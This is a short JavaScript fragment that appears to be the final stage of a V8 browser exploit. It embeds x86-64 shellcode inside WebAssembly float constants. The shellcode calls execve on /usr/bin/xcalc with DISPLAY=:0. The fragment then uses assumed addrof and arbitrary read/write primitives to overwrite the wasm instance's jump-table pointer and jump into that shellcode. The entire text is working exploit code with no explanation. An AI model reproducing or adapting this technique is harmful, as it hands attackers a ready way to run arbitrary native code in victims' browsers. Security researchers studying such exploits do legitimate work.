let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 12, 68, 144, 72, 1, 203, 83, 144, 235, 12, 68, 72, 137, 231, 72, 49, 246, 235, 12, 68, 187, 58, 48, 0, 0, 83, 235, 12, 68, 187, 76, 65, 89, 61, 144, 235, 12, 68, 144, 144, 72, 193, 227, 32, 235, 12, 68, 185, 68, 73, 83, 80, 144, 235, 12, 68, 144, 144, 72, 1, 203, 83, 235, 12, 68, 72, 137, 227, 144, 144, 144, 235, 12, 68, 106, 0, 83, 72, 137, 226, 235, 12, 68, 72, 49, 246, 72, 49, 192, 235, 12, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(aar(wasmInstance_addr + 0x47n));
aaw(wasmInstance_addr + 0x47n, jump_table_start + 0x81an); // overwrite instruction pointer
main(); // execute shellcode